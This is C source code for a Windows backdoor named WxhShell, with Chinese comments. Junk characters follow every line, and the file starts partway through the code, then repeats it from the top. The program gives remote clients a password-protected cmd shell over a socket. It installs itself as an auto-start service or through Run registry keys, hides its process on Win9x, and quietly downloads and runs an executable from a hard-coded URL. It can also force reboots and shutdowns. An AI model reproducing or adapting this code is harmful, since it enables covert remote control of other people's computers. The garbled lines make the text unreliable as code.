    else { XVi?- /2  
    closesocket(wsh); X*F#=.lh  
    ExitThread(0); W M/pP?||  
    } I;`)1   
    break; 2Y&QJon)  
    } E<>Ev_5>  
  // 获取shell 6:i(<7  
  case 's': { #UH|,>W6  
    CmdShell(wsh); Q!Rknj 2  
    closesocket(wsh); ZHxdrX)  
    ExitThread(0); \WD}@6) ~  
    break; < C\snB  
  } /H+j6*}r  
  // 退出 a;AvY O  
  case 'x': { }Vw"7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); IfoeHAWX  
    CloseIt(wsh); BH0@WG7F  
    break; \AOVdnM:  
    } vJkY  
  // 离开 dBY,&=T4p  
  case 'q': { l -~H Y*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); bet?5Dk  
    closesocket(wsh); }E$^!q{  
    WSACleanup(); wy&s~lpV,7  
    exit(1);  \p"`!n  
    break; b_*Y5"(*  
        } e:IUO1#  
  } =!_e(J  
  } lz X0B&:  
f>nj9a5  
  // 提示信息 _X{i hf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wm|{@z  
} }<w/2<T[  
  } Wa~'p+<c~b  
pR2QS  
  return; ev>gh0  
} 1R)4[oYN\<  
C|c'V-f  
// shell模块句柄 d^X;XVAvP  
int CmdShell(SOCKET sock) h^ ex?  
{ DPn]de:e  
STARTUPINFO si; 2.O;  
ZeroMemory(&si,sizeof(si)); i'|rx2]e  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xtL_,ug  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U3MfEM!x  
PROCESS_INFORMATION ProcessInfo;  ^G{3x  
char cmdline[]="cmd"; gq`gitu0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $Jo[&,  
  return 0; q#Az\B:  
} KumbG>O  
F+R4nFA  
// 自身启动模式 Oqeoh<y!\  
int StartFromService(void) F*hOa|7/  
{ O-6848iCX  
typedef struct k}y1IW+3  
{ [*w^|b ?  
  DWORD ExitStatus; V%?oI]" l  
  DWORD PebBaseAddress; zDY!0QZLF\  
  DWORD AffinityMask; cYyv iR59#  
  DWORD BasePriority; aS?A3h4WM_  
  ULONG UniqueProcessId; U<fe 'd  
  ULONG InheritedFromUniqueProcessId; s"`uE$6N  
}   PROCESS_BASIC_INFORMATION; MIasCH>r  
{ScilT  
PROCNTQSIP NtQueryInformationProcess; tG(?PmQ  
z c N1i^   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; EY;C5P4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; yWsV !Ub  
|Vc8W0~0  
  HANDLE             hProcess; L%9DaK  
  PROCESS_BASIC_INFORMATION pbi; FQ>KbZh  
qczGv2%!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "NSm2RU3  
  if(NULL == hInst ) return 0; 0V ,R|Ln  
&!#,p{}ccU  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); roYoxF;\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }|MGYS)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W}V L3s  
T(K~be  
  if (!NtQueryInformationProcess) return 0; j K?GB  
g@hg u   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Az[Yvu'<  
  if(!hProcess) return 0; !vHUe*1a{  
Q+gd|^Vc9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  Ko9"mHNB  
~{'.9  
  CloseHandle(hProcess); 4F EOV,n  
cf?*6q?n  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;1^_ .3  
if(hProcess==NULL) return 0; eZR{M\Q  
wQJY,|.  
HMODULE hMod; A~&Tp  
char procName[255]; sG*1?  
unsigned long cbNeeded; 6j@3C`Yd  
"P`V|g  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F)g.CDQ!c  
4- z3+e  
  CloseHandle(hProcess); fgYdKv8  
'}4LHB;:  
if(strstr(procName,"services")) return 1; // 以服务启动 @V:4tG.<sw  
EaGh`*"w(7  
  return 0; // 注册表启动 5hak'#2  
} -S\74hA  
Z?|\0GR+`5  
// 主模块 V|xK vH  
int StartWxhshell(LPSTR lpCmdLine) Q-fi(UP  
{ 8nw_Jatk1  
  SOCKET wsl; T :IKyb  
BOOL val=TRUE; -Wc'k 2oU  
  int port=0; AGkk|`  
  struct sockaddr_in door; {-D2K:m  
|&lAt \  
  if(wscfg.ws_autoins) Install(); 9{\e E]0  
vQ"EI1=7Z  
port=atoi(lpCmdLine); K0_/;a] |  
`J \1t K{  
if(port<=0) port=wscfg.ws_port; Q]Q]kj2  
VqV6)6   
  WSADATA data; '>-  C!\t  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0<75G6wd  
FglCqO}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   P3C|DO4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Rf2$k/lZ  
  door.sin_family = AF_INET; *&{M ,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); eU?SLIof[{  
  door.sin_port = htons(port); H~JPsS;  
91|=D \8aE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { is?H1V~8`$  
closesocket(wsl); k ]C+/  
return 1; V}(snG,  
} pH5"g"e1  
vk:@rOpl  
  if(listen(wsl,2) == INVALID_SOCKET) { rCqcl  
closesocket(wsl); M0g!"0?  
return 1; ~E&drl\  
} Wo&10S w  
  Wxhshell(wsl); f@&C \  
  WSACleanup(); ZOvMA]Rf  
F M:ax{  
return 0; ^;4nHH7z-,  
Ex^|[iV  
} 6U)Lhf\'o  
"MZj}}l  
// 以NT服务方式启动 ;Q>(%"z};  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m:A 7*r[  
{ tgEXX-{  
DWORD   status = 0; -_BS!T%r  
  DWORD   specificError = 0xfffffff; 6O2 r5F$T  
BtDi$d%'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; sr,8zKM)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `P}T{!P+6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; l1On .s  
  serviceStatus.dwWin32ExitCode     = 0; h 3Kv0^{  
  serviceStatus.dwServiceSpecificExitCode = 0; ^,[V;3  
  serviceStatus.dwCheckPoint       = 0; 6N[XWyS  
  serviceStatus.dwWaitHint       = 0; d51l7't  
4SSq5Ve<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (r,tU(  
  if (hServiceStatusHandle==0) return; L/9f"%kZ  
yEL^Y'x?  
status = GetLastError(); q5J6d+  
  if (status!=NO_ERROR) ;B>2oq  
{ ?r C^@)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `~Nd4EA)2  
    serviceStatus.dwCheckPoint       = 0; =;Gy"F1 dp  
    serviceStatus.dwWaitHint       = 0; "pTyQT9P  
    serviceStatus.dwWin32ExitCode     = status; v&oE!s#  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?'uxYeX6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .n]P6t  
    return; NidG|Yg~Z  
  } 8$}1|"F  
AU@K5jwDwQ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; zn|~{9>y  
  serviceStatus.dwCheckPoint       = 0; {:M5t1^UC  
  serviceStatus.dwWaitHint       = 0; `vWFTv  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3l"7$B  
} "QA <5P  
vhiP8DQ  
// 处理NT服务事件,比如:启动、停止 bAv>?Xqa  
VOID WINAPI NTServiceHandler(DWORD fdwControl) NltEX14Af  
{ $$+6=r}  
switch(fdwControl) vG9A'R'P  
{ Qk?;nF  
case SERVICE_CONTROL_STOP: ]5b%r;_  
  serviceStatus.dwWin32ExitCode = 0; %IGcn48J  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1L.H"  
  serviceStatus.dwCheckPoint   = 0; rQgRD)_%w  
  serviceStatus.dwWaitHint     = 0; 6+HpN"?e  
  { KrN#>do&<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w8i"-SE  
  } J8w#J  
  return; KZ^W@*`D  
case SERVICE_CONTROL_PAUSE: '#d`K.;_b.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; c%Ht; sK`*  
  break; JI-q4L|  
case SERVICE_CONTROL_CONTINUE: /=co/}i  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8d.5D&  
  break; VaQqi>;\  
case SERVICE_CONTROL_INTERROGATE: to@ O  
  break; G3vKA&KZ  
}; -Gjz;/s%XH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qD:3;85  
} 6u^M fOc  
rxtp?|v9  
// 标准应用程序主函数 r<4FF=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +BcJHNIB  
{ v#i,pBj  
2OFrv=F  
// 获取操作系统版本 3]Rb2$p[=  
OsIsNt=GetOsVer(); L ;5uB2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); d7Lna^  
O}\$E{-  
  // 从命令行安装 8+m;zvDSU  
  if(strpbrk(lpCmdLine,"iI")) Install(); $rFLhp}  
+:@HJXwK  
  // 下载执行文件 H SEfpbh  
if(wscfg.ws_downexe) { L2:v#c()#)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;~Y0H9`  
  WinExec(wscfg.ws_filenam,SW_HIDE); P wL]v.:  
} d>@&[C!28  
!ckmNE0  
if(!OsIsNt) { dbF?#s~u  
// 如果时win9x,隐藏进程并且设置为注册表启动 !C>}j* 4  
HideProc(); "{-jZdq'  
StartWxhshell(lpCmdLine); j8kax/*[  
} MzLnD D^  
else W ]cJP  
  if(StartFromService()) lrg3n[y-l  
  // 以服务方式启动 ?.66B9Lld  
  StartServiceCtrlDispatcher(DispatchTable); p%A s6.  
else Zhb) n  
  // 普通方式启动 F8{"Rk}  
  StartWxhshell(lpCmdLine); :[f2iZ"  
wRu+:<o^.  
return 0; R5=2EwrGP  
} A?I/[zkc  
,YzrqVY  
)`5k fj  
YSi[s*.G  
=========================================== YB{hQ<W  
 a~>.  
rMkoE7n  
!#P|2>>u  
63R?=u@  
OrN>4S  
" =8BMCedH|  
$S{B{FK  
#include <stdio.h> -7^?40A  
#include <string.h> KDD_WXGt~  
#include <windows.h> zFVNb  
#include <winsock2.h> oGz-lO{lt  
#include <winsvc.h> b?Dhhf  
#include <urlmon.h> =?fxPT[1K  
r9[{0y!4  
#pragma comment (lib, "Ws2_32.lib") #4uuT?!  
#pragma comment (lib, "urlmon.lib") Sb@:ercC,  
xW92 ZuzSH  
#define MAX_USER   100 // 最大客户端连接数 ?2h)w=dO  
#define BUF_SOCK   200 // sock buffer D=*3Xd  
#define KEY_BUFF   255 // 输入 buffer /~`4a  
+dd\_\  
#define REBOOT     0   // 重启 {.=4;   
#define SHUTDOWN   1   // 关机 !Cse,6/Z  
UzZzt$Kw  
#define DEF_PORT   5000 // 监听端口 VB x,q3.  
]7SX _:'*  
#define REG_LEN     16   // 注册表键长度 BK._cDR  
#define SVC_LEN     80   // NT服务名长度 (80 Tbi~+  
7P!<c/ E  
// 从dll定义API :H/CiN  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >jI( ^8?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \va'>?#o1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); uA]Z"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); yk r5bS  
g *}M;"  
// wxhshell配置信息 Imi;EHW  
struct WSCFG { |#hj O3  
  int ws_port;         // 监听端口 GF(<!PC  
  char ws_passstr[REG_LEN]; // 口令 @lvvI<U  
  int ws_autoins;       // 安装标记, 1=yes 0=no I9JiH,+  
  char ws_regname[REG_LEN]; // 注册表键名 o/ Z  
  char ws_svcname[REG_LEN]; // 服务名 ?"oW1a\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;2lKo="  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <\i}zoPO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 vU5a`0mH  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vFuf{ @P  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p9c`rl_N  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ID+ o6/V8  
F$[1KjS  
}; 2flgfB}2k  
)3h%2C1uM  
// default Wxhshell configuration M'Fa[n*b?!  
struct WSCFG wscfg={DEF_PORT, 3Yu1ZuIR  
    "xuhuanlingzhe", A6D.bJ)  
    1, _^{!`*S  
    "Wxhshell", p6=L}L  
    "Wxhshell", =3KK/[2M  
            "WxhShell Service", .9r+LA{  
    "Wrsky Windows CmdShell Service", ;IklS*p]  
    "Please Input Your Password: ", V5 $J  
  1, <HReh>)[  
  "http://www.wrsky.com/wxhshell.exe", >kK!/#ZA  
  "Wxhshell.exe" Co`O{|NS}!  
    }; VK/@jrL+  
~M@'=Q*~  
// 消息定义模块 $"V gN ynq  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; z@WuKRsi  
char *msg_ws_prompt="\n\r? for help\n\r#>"; cL/ 6p0S  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6]`XW 0{C  
char *msg_ws_ext="\n\rExit."; a;},y|'E  
char *msg_ws_end="\n\rQuit."; i:8g3|JfMe  
char *msg_ws_boot="\n\rReboot..."; kJ^)7_3  
char *msg_ws_poff="\n\rShutdown..."; ]#)1(ZE  
char *msg_ws_down="\n\rSave to "; ARcPHV<(2  
l5?fF6#j  
char *msg_ws_err="\n\rErr!"; ;=.i+  
char *msg_ws_ok="\n\rOK!"; 2L=+z1%I  
6O|B'?]Pf  
char ExeFile[MAX_PATH]; hN(sz  
int nUser = 0; d=?Kk4Ag  
HANDLE handles[MAX_USER]; KC@F"/h`/  
int OsIsNt; EVovx7dr  
!uIT5D  
SERVICE_STATUS       serviceStatus; DyZe+,g;S  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =_(i#}"A  
Y8*k18~  
// 函数声明 Rg4'9I%B  
int Install(void); G=rgL'{  
int Uninstall(void); M\%LB}4M  
int DownloadFile(char *sURL, SOCKET wsh);  ;'^5$q  
int Boot(int flag); \\<waU''  
void HideProc(void); `jl 1Q,~2r  
int GetOsVer(void); eh`sfH  
int Wxhshell(SOCKET wsl); r3OTU$t?  
void TalkWithClient(void *cs); Gp}:U>V)  
int CmdShell(SOCKET sock); #;4afj:2g  
int StartFromService(void); Z0fl]3p  
int StartWxhshell(LPSTR lpCmdLine); K|"97{*|2  
UG)XA-ez  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a[Q\8<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); MjGeH>c  
["5Z =4  
// 数据结构和表定义 k]J!E-yI8  
SERVICE_TABLE_ENTRY DispatchTable[] = - v\n0Jt  
{ iw`,\V&  
{wscfg.ws_svcname, NTServiceMain}, ('SA9JG  
{NULL, NULL} 'o%IA)sF  
}; [&IJy  
 bnll-G|  
// 自我安装 z|';Y!kQ  
int Install(void) `5VEGSP]  
{ ~d+.w%Z `  
  char svExeFile[MAX_PATH]; < 5%:/j  
  HKEY key; >U.)?>G/dt  
  strcpy(svExeFile,ExeFile); E=Z;T   
P!;%DI!<b  
// 如果是win9x系统,修改注册表设为自启动 SV-M8Im73z  
if(!OsIsNt) { QG~4 <zy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H;#3S<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RR*eq.;  
  RegCloseKey(key); n|G x29 E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r9),F.6,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [K(|V  
  RegCloseKey(key); *pu ,|  
  return 0; };rxpw>ms  
    } +/">]QJ  
  } Eb9 eEa<W  
} K^H{B& b8  
else { =Gka;,n  
g;N)K3\2  
// 如果是NT以上系统,安装为系统服务 80i-)a\n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]u;Ma G=;  
if (schSCManager!=0) x1g0_&F  
{ );8Nj zX1  
  SC_HANDLE schService = CreateService |sQC:y>  
  ( %'}zr>tx:  
  schSCManager, hJuR,NP  
  wscfg.ws_svcname, \KBE+yj  
  wscfg.ws_svcdisp, ~/R,oQ1!g}  
  SERVICE_ALL_ACCESS, O'<5PwhG  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , x,f=J4yco  
  SERVICE_AUTO_START, =dVPx<l5  
  SERVICE_ERROR_NORMAL, <!+T#)Qi  
  svExeFile, 03]   
  NULL, L4fM?{Ic:s  
  NULL, -vRZCIj!  
  NULL, r&^xg`i[z>  
  NULL, h .A@o#x  
  NULL RmR-uQU-c  
  ); )<]*!  
  if (schService!=0) W%3<"'eP  
  { JG]67v{F  
  CloseServiceHandle(schService); d&!;uzOx  
  CloseServiceHandle(schSCManager); ,BUDo9h  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); WFl, u!"A  
  strcat(svExeFile,wscfg.ws_svcname); {FIr|R&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { cqP)1V]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); D)XV{Wit  
  RegCloseKey(key); DEdJH4  
  return 0; J}$St|1y  
    } av}Giz  
  } In[!g  
  CloseServiceHandle(schSCManager); ;zMZ+GZ?;+  
} vG`;2laY  
} /7s^OkQ  
H$M#+EfL  
return 1; {P/5cw  
} /QA:`_</oh  
aan)yP  
// 自我卸载 O{4G'CgN(  
int Uninstall(void) $#b@b[h<w  
{ :\]TAQd-  
  HKEY key; =) Aav!  
+3;`4bW  
if(!OsIsNt) { cip"9|"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1MntTIT  
  RegDeleteValue(key,wscfg.ws_regname); ^)qOILn  
  RegCloseKey(key); 5_|Sm=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XZ|%9#6  
  RegDeleteValue(key,wscfg.ws_regname); *wSz2o),  
  RegCloseKey(key); f WUFCbSU  
  return 0; z5V~m_RO  
  } RDX$Wy$@L  
} _TGv"c@V  
} Q1cM{$}M  
else { !x%$xC^Iz  
B)5 QI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3lkz:]SsE  
if (schSCManager!=0) xsPY#  
{ uBr^TM$k&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); XL10W ^  
  if (schService!=0) xI'sprNa_1  
  { HDV@d^]-  
  if(DeleteService(schService)!=0) { 4#dS.UfI  
  CloseServiceHandle(schService); ( 04clU^F  
  CloseServiceHandle(schSCManager); qs9q{n-Aj  
  return 0;  T:~c{S4&  
  } vr:5+wew  
  CloseServiceHandle(schService); .B9i`)0  
  } | Ns-l (l  
  CloseServiceHandle(schSCManager); E`M, n ,  
} n`W7g@Sg#I  
} Rxl )[\A*  
n7CwGN%  
return 1; lhp.zl  
} ^V5VRGq  
JemB[  
// 从指定url下载文件 \dB)G<_  
int DownloadFile(char *sURL, SOCKET wsh) ,V>7eQt?  
{ sI&|qK-(  
  HRESULT hr; <Qx]"ZP%  
char seps[]= "/"; Hzn6H4Rc  
char *token; _J N$zZ{  
char *file; B&bQvdp  
char myURL[MAX_PATH]; "8BZj;yS  
char myFILE[MAX_PATH]; jDyG~de  
UWf@(8  
strcpy(myURL,sURL); i_[nW  
  token=strtok(myURL,seps); "\CUHr9k  
  while(token!=NULL) `dGcjLs Iz  
  { PQ}owEJ2eM  
    file=token; eG\|E3Cb9  
  token=strtok(NULL,seps); OYbgt4  
  } h)~i ?bq!/  
oP%'8%tk  
GetCurrentDirectory(MAX_PATH,myFILE); ?Dr_WFNjO  
strcat(myFILE, "\\"); _e9S"``  
strcat(myFILE, file); `~+1i5-}  
  send(wsh,myFILE,strlen(myFILE),0); Z7$"0%  
send(wsh,"...",3,0); WxgA{q7:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Xy[*)<  
  if(hr==S_OK) /'g/yBY  
return 0; `P(Otr[6  
else 40M/Gu:  
return 1; $-J=UT2m  
x2_?B[z  
} 9pehQFfH  
n[`KhRN  
// 系统电源模块 RaX :&PE  
int Boot(int flag) Z1&<-T_  
{ It@1!_tO2  
  HANDLE hToken; 2B !Bogs  
  TOKEN_PRIVILEGES tkp; ywCF{rRd  
H[;\[ 3  
  if(OsIsNt) { ;_TPJy  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0|L%)'F  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $bho]~  
    tkp.PrivilegeCount = 1; "m'roU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &% infPI'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #[<XN s!"  
if(flag==REBOOT) { :wcv,YoSG  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) C"JFN(f  
  return 0; {*lRI  
} k2@|fe  
else { v;_k*y[VV$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >'MT]@vez  
  return 0; 0CtPq`!  
} \-2O&v'}  
  } ]?/7iM  
  else { :jP4GCxU|  
if(flag==REBOOT) { 9Z_!}eY2mc  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'xn3g;5  
  return 0; kbR!iPM-;  
} 8 FJ>W.  
else { m0$~O5|4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) q>^x ,:L  
  return 0; l` M7a9*U  
} G*].g['  
} ,|Xibfw  
{ d*?O  
return 1; sDF5  
} ' Akt5q  
?_<14%r;  
// win9x进程隐藏模块 !I UH 5  
void HideProc(void) >AUj4d  
{ '{ I YANVT  
5m(V(@a3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  fcLVE  
  if ( hKernel != NULL ) TQjM3Ri=V  
  { fd CN?p[_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ac,Qj`'V  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); uLK4tQ  
    FreeLibrary(hKernel); LNU#NJ^Axt  
  } u&7c2|Q  
r'/H3  
return; rF>7 >wq  
} FsXqF&{  
N:]Ud(VRM  
// 获取操作系统版本 3R|C$+Sc  
int GetOsVer(void) +. `  I  
{ )8244;  
  OSVERSIONINFO winfo; *^WY+DV  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 017(I:V?(:  
  GetVersionEx(&winfo); =w#sCy  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) uz8Y)b  
  return 1; 1|8<!Hx#-  
  else no`>r}C  
  return 0; }@'Zt6+tS  
} zK@DQ5  
s+jL BY  
// 客户端句柄模块 -NgL4?p=  
int Wxhshell(SOCKET wsl) <:gNx%R  
{ D) my@W0,  
  SOCKET wsh; QaAWO  
  struct sockaddr_in client; 'nR'o /!  
  DWORD myID; "7RnT3  
h+<F,0  
  while(nUser<MAX_USER) {:!CA/0Jx  
{  E qc,/  
  int nSize=sizeof(client); kd3vlp  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); P!*G"^0<  
  if(wsh==INVALID_SOCKET) return 1; /A{/  
6k%Lc4W  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,f(:i^iz!  
if(handles[nUser]==0) A['0~tOP  
  closesocket(wsh); e>a4v8  
else p\&Lbuzv  
  nUser++; (='e9H!3D  
  } m0(]%Kdw  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); b+rn:R  
LE1#pB3TG  
  return 0; x6BO%1  
} mO1r~-~AJ  
2xEG s Q  
// 关闭 socket )t#v55M  
void CloseIt(SOCKET wsh) ja_.{Zv  
{ %l.5c Sn@  
closesocket(wsh); X":T>)J-  
nUser--; I6B`G Im5  
ExitThread(0); 8U$(9X  
} ]g0h7q)79  
(aQNe{D#  
// 客户端请求句柄 },W<1*|  
void TalkWithClient(void *cs) <RFT W}f!  
{ zZ11J0UI  
w$2Z7S  
  SOCKET wsh=(SOCKET)cs; ET[vJnReC  
  char pwd[SVC_LEN]; 8:=EA3  
  char cmd[KEY_BUFF]; hfBZ:es+  
char chr[1]; NUvHY:  
int i,j; *Mg. * N  
[Jjb<6[o  
  while (nUser < MAX_USER) { ;94e   
Ld?-Ik~fF>  
if(wscfg.ws_passstr) {  \W',g[Y:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c%bGVRhE  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0:SR29(p1  
  //ZeroMemory(pwd,KEY_BUFF); 3cH`>#c  
      i=0; (Q/Kp*a  
  while(i<SVC_LEN) { zK P{A Sk  
GOII B  
  // 设置超时 )PNeJf|@  
  fd_set FdRead; q#n0!5Lv2  
  struct timeval TimeOut; 0OrT{jo  
  FD_ZERO(&FdRead); # {'1\@q  
  FD_SET(wsh,&FdRead); n=+K$R  
  TimeOut.tv_sec=8; U fzA/  
  TimeOut.tv_usec=0; M&/([ >Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hj_%'kk-A  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y`n'>F11  
x2M'!VK>n1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d;-/F b{4  
  pwd=chr[0]; Y4 <  
  if(chr[0]==0xd || chr[0]==0xa) { XC D&Im  
  pwd=0; -hpJL\ng  
  break; P`$"B0B)  
  } REe<k<>p~  
  i++; >Wbt_%dKy  
    } l1utk8'-  
i3s,C;7[2  
  // 如果是非法用户,关闭 socket L#|, _j=9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yl#(jb[?1  
} 4 )U,A~ !  
0bt"U=x4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y\sSW0ZX  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mg)ZoC  
I\|x0D  
while(1) { n> >!dg Og  
wy1xZQ<5  
  ZeroMemory(cmd,KEY_BUFF); a+--2+~=  
!RJuH;8  
      // 自动支持客户端 telnet标准   -b7q)%V  
  j=0; ;Az9p h  
  while(j<KEY_BUFF) { j1yW{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r/32pY  
  cmd[j]=chr[0]; #RG/B2  
  if(chr[0]==0xa || chr[0]==0xd) { )0Lno|l  
  cmd[j]=0; ^Iz(V2  
  break; V\ 7O)g  
  } C]xKdPQj%  
  j++; Y@+e)p{  
    }  YXdd=F  
'|9fDzW"]  
  // 下载文件 rerl-T<3  
  if(strstr(cmd,"http://")) { (q@DBb4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )G a%Eg9  
  if(DownloadFile(cmd,wsh)) _Kw<4 $0<p  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); UZ`GS$D@  
  else SG)hrd  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5c W2  
  } dC F!.  
  else { x P3v65Q1  
*A>I)a<:  
    switch(cmd[0]) { w,<nH:~  
  xux j  
  // 帮助  bK7j"  
  case '?': { sI7<rI.t){  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K)z! e;r  
    break; 4}4K6y<q  
  } h]DS$WZ  
  // 安装 3%g\)Cs  
